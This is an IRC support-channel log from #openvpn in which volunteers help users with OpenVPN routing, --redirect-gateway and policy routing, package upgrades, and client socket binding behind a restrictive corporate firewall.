08:49 < Sandfly> @julius_ it is a server directive to PUSH a routing command to a client
08:49 < Sandfly> sorry pekster .. didn't mean to interrupt you
08:49 <+pekster> See the manpage description of --route, and possibly --client, --pull, and --route-noexec for more details
08:49 <+pekster> Sandfly: No worries; your answer was shorter :)
08:49 < Sandfly> :)
08:51 <+pekster> Probeus: What are you talking about? OpenVPN doesn't block any connections. What "original IP" are you talking about?
08:51 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:52 < julius_> Sandfly, ok but isnt it missing information? doesnt it need a source and a destination?
08:52 <+pekster> julius_: Have you read --route in the manpage like I suggested? It should make things more clear
08:53 < Sandfly> Julius_ : route tells computers the route to send packets .. the source and destination are within the packet - the routing is the route to find the sources and destinations .. keep reading the manuals and it will become clear
08:54 < Probeus> pekster: When i connect to the VPN i get a "new" IP. The Original IP is then not connectable.
08:55 <+pekster> Probeus: That's not openvpn's doing then
08:55 <+pekster> Oh, are you using --redirect-gateway and failed to mention this?
08:55 < julius_> pekster, oh no...overread that
08:55 <+pekster> (please be specific when asking questions in any Freenode channel. Don't assume we're all doing the same thing you are)
08:55 < Sandfly> Probeus .. are you using a brdge for your network adapter ?
08:56 <+pekster> No, it's a redirect situation and a lack of policy routing makes for asymmetric replies on the physical IP
08:56 < Sandfly> *bridge
08:56 <+pekster> Probeus: --redirect-gateway does exactly what its manpage description says. If you want to redirect "some, but not all" of your outbound traffic, you need what's called Policy Routing to define "what" gets routed "where"
08:57 <+pekster> So this isn't even an "OpenVPN Feature" that you apparently dislike; it's how basic routing works
08:57 < Probeus> pekster: i want to redirect all outbound traffic. But i want to have some incoming traffic on the original ip address
08:57 <+pekster> That's a far more complex situation than you realize
08:57 <+pekster> Is the endpoint a Linux host?
08:58 <+pekster> Here's the tl;dr: you do *NOT* want to redirect all outbound traffic. How do you think replies get back where they need to go? Outbound traffic, right? Hopefully the catch-22 is evident
08:58 < Probeus> pekster if you mean the vpn server then i can only guess, as i am not in control of it. Its a vpn service. But why is that relevant to what i want to connect to my own box?
08:58 <+pekster> It's not. Your lack of routing basics will be though
08:58 <+pekster> Your endpoint: what OS does it run?
08:59 <+pekster> (your problem isn't openvpn, but I might be able to direct you to resources to learn how to do advanced routing if that's your goal)
09:00 < Probeus> Can you please speak more common? I have experience with linux, but i am  an novice in the networking bit. With endpoint, you mean the box i have the client on?
09:00 <+pekster> Yes
09:00 < rob0> You did not answer the question, twice.
09:00 < Probeus> Debian
09:00 <+pekster> LARTC has the de-facto Linux policy routing guide here:
09:00 <+pekster> !lartc
09:00 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
09:00 < Probeus> rob0: I have to understand the question before i could answer
09:00 < rob0> "endpoint" is a plain word, I wouldn't expect it to confuse you.
09:01 <+pekster> Be aware that this is somewhat non-trivial and will require you to learn about advanced routing practices. What you have done with OpenVPN is effectively turn your Debian system into a multi-homed host, and this has implications when you have advanced routing needs
09:01 < Probeus> rob0: i'm sorry to disappoint you then
09:02 < Sandfly> lol .. best start over from the beginning
09:02 < Probeus> pekster: would it be simpler to only open for traffic trough one port? I only need access to one port (ssh)
09:04 <+pekster> Not really. You still need policy routing anyway
09:04 < Probeus> So could you help me with a simple configuration for routing then?
09:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
09:05 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 260 seconds]
09:06 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
09:07 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
09:07 <@mattock> to whomever mentioned the problem with repos.openvpn.net... tested a fix and will apply it later today once I know for sure the fix won't cause any side-effects
09:08 <+pekster> Given that you apparently haven't bothered to read the resource I directed you to, I'm not really that interested, no. Try pretending like you care enough to do that; additionally, since this really has nothing to do with OpenVPN, you're probably better off in a more on-topic channel, like #netfilter or ##networking
09:09 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 260 seconds]
09:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:11 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
09:12 < Sandfly> @mattock - i believe that originated with me but either pakster or rob0 may have passed this onto you.
09:12 -!- Probeus [probeus@probeus.no] has quit [Remote host closed the connection]
09:13 <@mattock> Sandfly: pekster notified me, and the problem should be gone in about 2 hours
09:13 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
09:13 < Sandfly> Great - many thanks
09:14 -!- krantz [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 264 seconds]
09:15 -!- Probeus [probeus@probeus.no] has joined #openvpn
09:17 < Sandfly> pekster - thanks for your help upgrading openvpn on ubuntu - but i think i must have done something wrong - I added the source listed on the ubuntu page for openvpn (deb http://ubuntu.mirror.cambrium.nl/ubuntu/ saucy main) and then I did sudo apt-get update & upgrade and it looks like every single package has been updated ???
09:17 <@vpnHelper> Title: Index of /ubuntu (at ubuntu.mirror.cambrium.nl)
09:18 < Sandfly> is there a way that I can just upgrade openvpn in future (sorry to be off topic)
09:18 <+pekster> Sandfly: If you ask apt-get to install a package, it'll install the most-current-version of it. See your distro manpages for details
09:19 < Sandfly> sorry to ask about ubuntu - what i mean is could I have just done something like sudo apt-get upgrade openvpn ?
09:19 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 260 seconds]
09:20 < Sandfly> i will read the man pages though - and thanks for the help
09:20 <+pekster> install != upgrade. apt-get(8) can clarify that point
09:21 < Sandfly> ok - i will get my reading glasses out ;)
09:27 -!- Snuupy_ [~Snuupy@unaffiliated/snuupy] has joined #openvpn
09:28 < Snuupy_> it seems that I  can't connect to my server IP (running OpenVPN, ZNC, and nginx) when I'm connected to the openVPN.
09:28 < Snuupy_> as soon as I d/c from the VPN, I can connect to the webserver and znc.
09:29 < Snuupy_> how do I fix this?
09:29 < Snuupy_> my server config file is here: http://pastie.org/private/cgm4kpl90ctb8mrjkirzg
09:29 < Snuupy_> the ping times out if I try to ping the external IP address of the openvpn server when I'm connected.
09:30 < Snuupy_> it seems like I can connect anywhere, BUT the server hosting the vpn, lol
09:30 < Snuupy_> !configs
09:30 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:31 < Snuupy_> using ubuntu 12.04, client config file here: http://pastie.org/private/xaicprszo1pz7bvyldz9tg
09:33 -!- xrosnight [~quassel@183.14.231.16] has quit [Ping timeout: 245 seconds]
09:43 < defswork> Snuupy_, you need to look at what is happening here
09:45 < Snuupy_> huh?
09:45 < Snuupy_> how?
09:45 <+pekster> Snuupy_: These services you're connecting to are on the same IP and host as the VPN server?
09:45 < Snuupy_> yes.
09:46 <+pekster> Part of what --redirect-gateway does is add a host-route to the remote server via your pre-existing gateway specifically so you can still reach the server endpoint; any traffic (including pings) will still use this route
09:47 <+pekster> Sounds like something else is at play if you're not intentionally firewalling the traffic, or doing some NAT at the server for the services you're running if such traffic works initially. What's a tcpdump show?
09:47 < Sandfly> pekster - having just completed a full system upgrade open vpn still reports version 2.2.1 -  OpenVPN 2.2.1 i686-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [eurephia]
09:47 < Sandfly> [MH] [PF_INET6] [IPv6 payload 20110424-2 (2.2RC2)] built on Feb 27 2013
09:48 <+pekster> That's fine; 2.2.1 isn't the latest upstream version, but it'll work fine here
09:48 < Sandfly> yes but i really want 2.3.2
09:49 < Snuupy_> pekster: a tcpdump?
09:49 < Snuupy_> from where?
09:49 <+pekster> Snuupy_: If packets are getting lost start at the source sending them, then at the end receiving them. ie: basic network troubleshooting. "Follow the packet."
09:50 <+pekster> Sandfly: Ah, sure. When the repo links are fixed, you can use those. Optionally you can build from source if you're familiar with that since OpenVPN itself builds in just a couple of minutes
09:52 < Snuupy_> I'm using windows 7.
09:52 < Snuupy_> so...tcp dump isn't on win7 afaik
09:52 <+pekster> wireshark is, as is tshark.exe (which works just like tcpdump)
09:53 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
09:53 < Snuupy_> o
09:54 <+pekster> You could just start on the server and see what you get, but the process is still the same: see why/where your packet gets lost. It's not part of openvpn, and in fact openvpn goes out of its way to ensure connectivity with the server (otherwise it would be a pretty pointless connectivity product)
09:54 < Snuupy_> I don't get the second sentence.
09:54 < Snuupy_> What do you mean openvpn goes out of its way to ensure connectivity?
09:55 <+pekster> Simply that using --redirect-gateway adds in a host route to your server
09:56 <+pekster> If you connect to server 203.0.113.7, before the two /1 routes can work to 'redirect' your Internet traffic it first adds a route for 203.0.113.7/32 via $your_default_physical_gateway
09:56 < Snuupy_> right
09:58 < Snuupy_> k, I'll dl wireshark
10:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
10:03 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:03 < defswork> check your routes are correct after connecting
10:11 < Snuupy_> pekster: defswork: I have lunch right now, I'll check when I get home in ~8 hours
10:11 < Snuupy_> I'll find you guys later
10:11 < Snuupy_> thanks!
10:11 < Snuupy_>  I did however see this: http://superuser.com/questions/168128/openvpn-can-connect-but-cant-ping-or-access-the-server
10:11 <@vpnHelper> Title: OpenVPN - can connect but cant ping or access the server - Super User (at superuser.com)
10:14 < Snuupy_> yeah
10:14 < Snuupy_> I can't connect to sshd on it either
10:17 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Quit: This computer has gone to sleep]
10:18 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
10:20 < Snuupy_> wait a sec
10:20 < Snuupy_> can't I just tracert
10:23 -!- raidz_away is now known as raidz
10:24 -!- Snuupy_ [~Snuupy@unaffiliated/snuupy] has quit [Ping timeout: 245 seconds]
10:25 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
10:26 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
10:30 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
10:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
10:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:32 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
10:33 < julius_> push "route 216.151.2.96 255.255.255.224"        <- does this tell the client that the machine 216.... is reachable via the openvpn?
10:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:38 -!- mode/#openvpn [+v s7r] by ChanServ
10:39 -!- julius_ [~14354s@141.41.92.122] has quit [Quit: Verlassend]
10:41 < Sandfly> julius_ that tells the client to create a route in its routing table .. nothing about any machine 216 .. 216 is a network portion
10:41 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:44 < Sandfly> julius 216.151.2.96/27  is a valid network - so if your network is that number then machines on that network should be reachable from the client provided everything ellse is in order
10:49 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
10:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:50 -!- mode/#openvpn [+v s7r] by ChanServ
10:53 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:03 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
11:03 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Quit: This computer has gone to sleep]
11:04 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
11:07 < julius_> push "route 216.151.2.96 255.255.255.224"        <- does this tell the client that the machine 216.... is reachable via the openvpn?
11:09 -!- Sandfly2 [~ma1com10t@92.20.30.239] has joined #openvpn
11:09 -!- Sandfly2 [~ma1com10t@92.20.30.239] has left #openvpn []
11:10 < rob0> 15:41 < Sandfly> julius_ that tells the client to create a route in its routing table .. nothing about any machine 216 .. 216 is a network portion
11:10 < julius_> 15:41?  thats a different time zone
11:10 < julius_> thx
11:11 < rob0> it's UTC
11:12 -!- Sandfly [~ma1com10t@host-92-20-30-239.as13285.net] has quit [Ping timeout: 240 seconds]
11:12 < julius_> ah yes, im in cest
11:19 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: ...]
11:23 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has quit [Ping timeout: 276 seconds]
11:31 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:32 -!- stasher [~dan@cpe-24-24-221-190.socal.res.rr.com] has quit [Quit: Lost terminal]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:39 < hjohnson> gah... why can't this user get to the servers I cn get to... I've got OpenVPN running on a debian box, if I conncet to the VPN, the route to the server subnet gets pushed properly, and I can hit the server via the VPN.  Her windows 7 computer connects to the VPN, the logs look good, but her laptop does not seem to be picking up the route.
11:39 < hjohnson> same server, same server configuraiton (semi-obviously).  Logs all look good, but she just can't hit the internal servers.
11:40 < hjohnson> and this is getting bad since she's our primary contributions recorder/fundraiser, and we're just getting into a $4,000,00 fundraising campaign. :P
11:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
11:43 < hjohnson> any thoughts on how I should go about looking for a resolution to this?
12:01 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
12:06 < dvl> hjohnson: well, the fundraising isn't relevant.  ;)
12:06 < dvl> hjohnson: But what's different about her laptop?
12:07 < dvl> hjohnson: running verbose on the server in case there's something odd there?  Same on the client.. something perhaps odd there too?
12:18 -!- crus [~crusader@2001:44b8:319e:2900:680d:b5c1:1caa:5d3] has quit [Read error: Connection reset by peer]
12:18 < hjohnson> dvl: well, no, I was just on a train of thought.  Main difference is she's running windows 7, i'm running OSX.  Verbosity is pretty high on the server logs, nothing looks out of place.
12:18 < hjohnson> so I'm smelling something in the permissions with the client she' susing not being able to insert routes or something.
12:19 < hjohnson> (i've also tried it from my linux stuff at home, that works properly too.. route gets inserved, everythign works
12:19 < dvl> The process on the windows laptop may need to be running with admin privs
12:20 < hjohnson>  think it does, but It hought we had set that up, but not sure.
12:20 < hjohnson> i'll get remote contorl of her machine sometime soon and check on that.
12:23 < hjohnson> what I want ot know is whether there's a windows equivalent of setuid root..
12:23 < hjohnson> but that's googling for me to do.
12:23 < hjohnson> thanks for the thoughts
12:24 < dvl> I would also linger here for other opinions later.
12:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
12:43 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:48 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
12:50 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
12:51 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Client Quit]
12:52 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
12:59 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Read error: Connection reset by peer]
13:01 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:09 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
13:13 < julius_> so if you do use --redirect-gateway can the machine still act as a router (clients using it to browse the web) just with a new default gw to some vpn?
13:13 < julius_> the openvpn server i mean
13:18 < Aketzu> so you vpn the outgoing connection from vpn:s :)
13:19 < Aketzu> sounds like there's a chance that vpn connection replys would go through that tunnel as well so they would never actually reach vpn clients
13:21 < Skapare> openvpn client binds a socket with a generic peer address like this .... udp        0      0 0.0.0.0:1194                0.0.0.0:*                               20178/openvpn
13:22 < Skapare> is there a way to make it bind the peer to the specific remote openvpn server it is to associate with? ... the idea is to allow using the same port by different instances of openvpn
13:27 < julius_> Aketzu, hm..yes
13:28 <@plaisthos> Skapare: no
13:28 <+pekster> Skapare: That's not how network ports work when dealing with tcp/network sockets. Clients can use --nobind in most cases though to prevent an explicit bind to 1194 for all 'n' client instances you could have
13:29 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
13:29 <@plaisthos> pekster: you can call conect on an udp socket causing it to only be bound to the remote ip
13:30 <@plaisthos> iirc
13:31 <+pekster> Interesting, though not all that useful in OpenVPN's current setup. 64k ports is enough for me :P
13:31 <+pekster> (twice that if you run on TCP too!)
13:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.]
13:34 < Skapare> pekster: it's not the port I want to change (I can do that) ... it's the remote address ... instead of it being bound to 0.0.0.0 I want to have it bound to the remote address ... that way I can run a 2nd client with the same ports
13:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
13:34 -!- mode/#openvpn [+o vpnHelper] by ChanServ
13:34 <+pekster> If you're the client, why don't you simply use --nobind in the first place?
13:34 <+pekster> Do you actually need/want connections to be sourced from 1194?
13:34 <+pekster> In most cases, that's not useful
13:34 < Skapare> because I need to set the source port to get through a restrictive firewall
13:35 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
13:35 <+pekster> Ah that would indeed be one of the exceptions. There's no current way to do what you want within openvpn, however (though it sounds like there might be some socket API for that -- I'm not familiar enough with it offhand to know)
13:36 < Skapare> the bind() socket syscall lets you bind a socket to the specific host ... then datagrams can ONLY go to that host (which should be fine)
13:37 -!- xrosnight [~quassel@116.76.166.121] has quit [Ping timeout: 268 seconds]
13:37 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
13:37 < Skapare> so I guess I need to go back to the IT department and get them to open a lot of ports on the firewall
13:40 < Skapare> pekster: I guess that comes from openvpn being designed to support multiple connections without duplicating sockets ?
13:41 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
13:41 <+pekster> Primarily, yea. If bind() (or connect() whatever the netcode is currently using) can support both a local and remote feature, in theory a patch could provide such an option
13:42 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
13:42 <+pekster> It's somewhat rare that you're both behind a restrictive outbound firewall like that and want to run multiple instances sourced from the same local port
13:43 <+pekster> Sometimes you can trick the less-intelligent firewalls by using, say, UDP port 53 or something for your VPN. The better-written ones only allow DNS to the internal, "vetted" servers anyway though so that trick only works in certain places
13:43 -!- nutron [~nutron@184.68.34.30] has joined #openvpn
13:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
13:43 -!- nutron [~nutron@184.68.34.30] has quit [Changing host]
13:43 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
13:44  * pekster shrugs. That kind of restrictive firewalling breaks a lot anyway like the ability to perform arbitrary DNS lookups to specific servers for testing (which the OS will source from ephemeral ports) or traceroutes, just to name a couple common tools
13:46 < Skapare> it's one server inside a LAN (server room) with normally NO internet access unless management approved ... I need to make vpns from it to AWS VPCs (6 of them now, more later, probably as many as 24)
13:46 < Skapare> it's a fully isolated LAN ... it's supposed to NOT let anything get to the internet
13:47 < Skapare> everything going in and out is restricted and logged
13:48 < hjohnson> yeah, I do deal with that fairly frequently in my line of work, but i usually do the VPN stuff on the firewall itself (though using cisco IPSec since htat's quick to setup when everything involved is a cisco device)
13:48 < Skapare> I can't say what's in there, but what is in there definitely needs that restrictive policy
13:48 <+pekster> Another way to solve that might be to allow out a limited range of ports sourced from under 1024 since that requires root access. Toos it on a 2nd NIC (or the primary, w/e) of the "special exception" host; if someone has root access to do that you're basically hosed anyway
13:48 < Skapare> that's roughly what I asked for, and got ... but just for one port
13:48 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 268 seconds]
13:48 <+pekster> Left hand: meet right hand.
13:49 < hjohnson> Skapare: move your star hub to one of the AWS hosts?
13:49 < Skapare> because my knowledge of networking tells me it can work with one port ... I just didn't know that was not implemented
13:49 < hjohnson> run a single tunnel out to AWS from inside, then branch out from there.
13:50 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
13:50 < Skapare> hjohnson: to risky and more b/w limited to do that ... I'll just go get more ports opened up
13:50 < hjohnson> fair enough
13:51 < Skapare> I'll tell them "it will let YOU have logging and control over which AWS VPC is being used" :)
13:51 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
13:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
13:51 < Skapare> then I'm sure they will OK it
13:51  * hjohnson is happy to be fully in control of the IT environment that I actually care about.
13:51 < hjohnson> (links to customer networks etc...)
13:52 < Skapare> actually, knowing what all the company does, I would have implemented the same thing, or tighter, if I was the IT director
13:53 < Skapare> and ... eventually all this gets handed over to IT anyway
13:55 < hjohnson> in my case, we're customer service, so we're separate from IT (we cross-connect to customer networks for monitor/control etc... )
13:56 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
13:56 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
13:59 < Skapare> and you probably don't do secret security stuff
14:00 < Skapare> and no, this is not NSA
14:00 < Six6siX> shhhhh
14:00 < Skapare> and if it was, I'm be required to tell you it's not
14:01 < hjohnson> Skapare: actually we do, which is why our network isn't connected to the corporate IT side of the world
14:01 < hjohnson> (our corporate IT guy is a fucking moron)
14:03 -!- _jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
14:05 < Azrael_-> rofl
14:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
14:05 < hjohnson> lets put it this way... all the corporate network switches are sitting on vlan 1, with a single daiseychained gigabit link between them.
14:06 < hjohnson> no spanning tree.
14:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 261 seconds]
14:06 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
14:06 < Skapare> just talked to IT ... they said they have apps using ports >1023 as sources ... AND ... they can open me for a list of target host/port with any source port ... so I can just let it go random if the server talks back on the same random port
14:06 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
14:07 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
14:07 < Skapare> so I can use nobind
14:07 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
14:07  * Azrael_- admits having nearly no clue about routing-protocols
14:07 -!- mattock is now known as mattock_afk
14:09 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
14:10 < Skapare> Azrael_-: like most network admins
14:11 < Azrael_-> i'm just a soft-dev, networking and server-administrating is just a hobby
14:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
14:11 < Azrael_-> so i've got a good excuse :)
14:12 < Skapare> yeah
14:12 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
14:13 < hjohnson> heh
14:19 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
14:21 -!- mattock_afk is now known as mattock
14:22 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
14:29 -!- aegis [~aegis@184.75.214.82] has quit [Ping timeout: 264 seconds]
14:31 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
14:33 -!- mattock is now known as mattock_afk
14:39 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
14:39 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
14:43 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Disconnected by services]
14:43 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:44 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
14:52 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
14:53 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
14:55 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
14:59 -!- MariusIT [~MariusIT@86.120.254.61] has joined #openvpn
15:21 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
15:25 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
15:31 -!- MariusIT2 [~MariusIT@86.120.254.61] has joined #openvpn
15:31 -!- MariusIT [~MariusIT@86.120.254.61] has quit [Ping timeout: 264 seconds]
15:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
15:34 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
15:35 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
15:36 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
15:38 -!- MariusIT2 [~MariusIT@86.120.254.61] has quit [Ping timeout: 260 seconds]
15:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:43 -!- MariusIT [~MariusIT@5-12-0-190.residential.rdsnet.ro] has joined #openvpn
15:43 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
15:47 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: This computer has gone to sleep]
15:47 -!- MariusIT2 [~MariusIT@86.120.254.61] has joined #openvpn
15:48 -!- MariusIT [~MariusIT@5-12-0-190.residential.rdsnet.ro] has quit [Ping timeout: 240 seconds]
15:50 <+pekster> (though the dot-quad mask is 255.255.240.0 -- off by 1 power ;)
15:50 <+pekster> Bah, ignore that :)
16:02 -!- MariusIT2 [~MariusIT@86.120.254.61] has quit [Ping timeout: 245 seconds]
16:02 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:03 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
16:08 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
16:14 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
16:23 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
16:25 -!- aegis [~aegis@184.75.223.210] has joined #openvpn
16:30 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
16:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
16:37 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
16:50 -!- justanotheruser [~andrew@63.142.161.3] has quit [Ping timeout: 245 seconds]
17:02 < Skapare> I have a tunnel up ... I can see it is doing ping-like traffic on port 938 (instead of 1194) ... but nothing is coming from the tun0 interface ... kinda like crypto was not matching and making garbage ... but I have had traffic working earlier ... no idea why it won't go through
17:02 -!- soehest [~soehest@x1-6-08-60-6e-21-b6-f0.k608.webspeed.dk] has joined #openvpn
17:10 < soehest> i am running a openvpn client on a machine located after the router. Everything works nicely except that i can no longer connect to the machine which is also running local services from outside the wan when openvpn is running. Any pointers how to get incoming connections running?
17:11 < Skapare> restarted both end and it's still not coming out from the interface
17:14 -!- justanotheruser [~andrew@63.142.161.8] has joined #openvpn
17:15 <+pekster> We clearly need a factoid for this...
17:15 <+pekster> !learn redirect-policy as If you are using --redirect-gateway and wish to maintain external access to the same system, you need Policy Routing. If using Linux, see !lartc for reading on the subject. Note that this is a somewhat advanced networking topic.
17:15 <@vpnHelper> Joo got it.
17:16 <+pekster> soehest: ^ see that info, since it sounds like that's what you're doing (though you didn't explain your setup very well if that's the case -- you made no note of any redirecting and I merely inferred it)
17:17 < soehest> pekster factoid? (like everyone is coming in asking this question?) ;-)
17:17 < soehest> !lartc
17:17 <+pekster> Yes :(
17:17 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
17:17 < soehest> sorry :(
17:17 < soehest> but thank you so much :-)
17:18 <+pekster> It's not your fault, but people then try to complain or blame openvpn when they realize it takes some work to deal with advanced networking
17:18 < soehest> i blame you!
17:18 < soehest> just kidding :-)
17:18 < soehest> i will take a cup of cofee and read up :-)
17:19 < soehest> i did realise that this was not a easy task as my vpn provider does not support help on this topic :-)
